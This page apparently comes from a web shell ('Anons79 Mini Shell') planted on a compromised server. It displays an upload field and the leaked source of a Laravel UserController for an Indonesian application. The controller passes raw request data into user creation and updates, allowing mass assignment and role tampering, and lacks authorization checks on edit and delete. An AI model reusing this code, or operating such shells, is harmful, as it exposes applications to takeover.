Anons79 Mini Shell

Directory : /home/aplikasiposinfo/.trash/app.3/Http/Controllers/
Upload File :
Current File : /home/aplikasiposinfo/.trash/app.3/Http/Controllers/UserController.php

<?php

namespace App\Http\Controllers;

use Session,DB;
use Carbon\Carbon;
use App\Models\Log;
use App\Models\Role;
use App\Models\User;
use App\Models\IndukOpd;
use App\Models\Pelanggan;
use App\Models\UptDaerah;
use App\Models\KategoriNPA;
use Illuminate\Http\Request;
use Illuminate\Validation\Rules;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;
use Yajra\DataTables\Facades\DataTables;

class UserController extends Controller
{
    
    protected $routeName = 'user';
    protected $viewName = 'user';
    protected $title = 'Pengguna';
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $route = $this->routeName;
        // $datas = User::with('roles')->with('daerah')->first();
        return view($this->viewName.'.index',compact('route'));
    }


     public function datatable(Request $request)
    {
        if(Auth::user()->roles->first()->name =='Admin'){
            $datas = User::with('roles')->get();
        } else {
            $datas = User::with('roles')->get();
        }
        $datatables = DataTables::of($datas)
            ->addIndexColumn()
            ->editColumn('roles',function($data){
                    $roles = $data->roles;
                    if(count($roles) > 0){
                        if($data->roles[0]->name == "Operator"){
                            return "Operator";
                        }
                        else if($data->roles[0]->name == "Pihak Wajib Pajak"){
                            return "OPD";
                        }
                        else {
                            return $data->roles[0]->name;
                        }
                    } else {
                        return "tidak ada role";
                    }
                    
                })
            ->editColumn('created_at',function($data){
                return $data->created_at->format('Y-m-d H:i:s');
            })
            ->addColumn('action', function ($data) {
                $route = 'user';
                return view('layouts.includes.table-action',compact('data','route'));
            });

        return $datatables->make(true);
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        if (Auth::user()->roles->first()->name =='Admin') {
            $role = Role::where('name', '<>', 'Pihak Wajib Pajak')->where('name', '<>', 'pelanggan')->pluck('name','id');
        }else{
            $role = Role::where('name','<>','Admin')->pluck('name','id');
        }
        // dd(route($this->viewName.".store"));
        $induk_opd_arr = IndukOpd::pluck('nama', 'id');
        $kategori_opd_arr = [1=>"Inspektorat", 2=>"Kepala", 3=>"Test"];
        $data = [
            'roles' => $role,
            'user' => Auth::user(),
            'title' => $this->title,
            'route' => $this->routeName,
            'induk_opd' => $induk_opd_arr,
            'kategori'=> $kategori_opd_arr,
            'route' => $this->viewName,

        ];
        // dd(Auth::user()->pelanggan);

        return view($this->viewName.'.create')->with($data);
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $rules = [];
        // dd($request->all());
        DB::beginTransaction();
        try{

            $role = Role::find($request->role_id);
    
            $request['password'] = Hash::make($request->password);
            $request['level_id'] = $role->id;
            // $request['no_pelanggan'] = Carbon::now()->format('Ymdhis');
            $user = User::create($request->all());
            if(Auth::user()->roles->first()->name == "Admin"){
                $user->assignRole($role->name);
            } else {
                $user->assignRole("Pihak Wajib Pajak");
            }
            DB::commit();
            Log::create([
                'pengguna' => Auth::user()->nama,
                'kegiatan' => "Buat Data User Dengan Nama ".$request->name,
            ]);
            return redirect(route($this->routeName.'.index'))->with(['success'=>'Berhasil Menambah Data User : '.$user->name]);
        } catch (Exception $e){
            DB::rollBack();
            dd($e->getMessage());
            return redirect()->back()->with(['error'=>'Gagal Menambah Data User : '.$e->getMessage()])->withInput($request->all());
        }
        
    }

    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        $induk_opd_arr = IndukOpd::pluck('nama', 'id');
        $kategori_opd_arr = [1=>"Inspektorat", 2=>"Kepala", 3=>"Test"];
        $data=[
            'title' => $this->title,
            'user' => User::findOrFail($id),
            'roles' =>  Role::where('name', '<>', 'Pihak Wajib Pajak')->where('name', '<>', 'pelanggan')->pluck('name','id'),
            'route' => $this->routeName,
            'induk_opd' => $induk_opd_arr,
            'kategori'=> $kategori_opd_arr,
        ];
        // dd(User::findOrFail($id)->pelanggan);
        return view($this->viewName.'.edit')->with($data);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        $rules = [];
        $role;

        DB::beginTransaction();
        try{

            if (Auth::user()->roles->first()->name =='Admin') {
                $role = Role::findOrFail($request->role_id);
            } else {
                $role = Role::findOrFail("2");
            }
            // dd($request->all());
            $user = User::find($id);
            $request['password'] = isset($request->password)?\Hash::make($request->password):$user->password;
            $request['level_id'] = $role->id;
            $user->update($request->all());
            $user->syncRoles($role->name);
            // dd($request->all());
            DB::commit();
            // dd($user);
            Log::create([
                'pengguna' => Auth::user()->nama,
                'kegiatan' => "Edit Data User dengan nama ".$request->name,
            ]);
            if (Auth::user()->roles->first()->name =='Admin') {
                return redirect(route($this->routeName.'.index'))->with(['success'=>'Berhasil Mengubah Data User : '.$user->name]);
            } else {
                return redirect(route('pelanggan.index'))->with(['success'=>'Berhasil Mengubah Data User : '.$user->name]);
            }
        }catch (\Exception $e){
            DB::rollback();
            return redirect()->back()->with(['error'=>'Gagal Mengubah Data User : '.$e->getMessage()])->withErrors($request->all())->withInput($request->all());
        }
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        DB::beginTransaction();
        try{
            $user = User::findOrFail($id);
            // if ($user->id == Auth::user()->id) {
            //     return redirect()->back()->with(['error'=>'anda tidak dapat menghapus diri sendiri']);
            // }
            // $user->roles()->detach();
            // isset($user->pelanggan)?$user->pelanggan()->delete():'-';
            Log::create([
                'pengguna' => Auth::user()->nama,
                'kegiatan' => "Hapus Data User dengan nama ".$user->name,
            ]);
            $user->delete();
            // $user->pelanggan()->tagihan()->delete();
            // $user->pelanggan()->delete();
            DB::commit();
            return redirect(route($this->routeName.'.index'))->with(['success'=>'Berhasil Menghapus Data User : '.$user->name]);
        }catch (\Exception $e){
            DB::rollBack();
            return redirect()->back()->with(['error'=>'Gagal Menghapus Data User : '.$e->getMessage()]);
        }
    }
    
    public function logout(Request $request)
    {
        Log::create([
            'pengguna' => Auth::user()->nama,
            'kegiatan' => "Logout"
        ]);
        Auth::logout();
    
        $request->session()->invalidate();
    
        $request->session()->regenerateToken();
    
        return redirect('/');
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]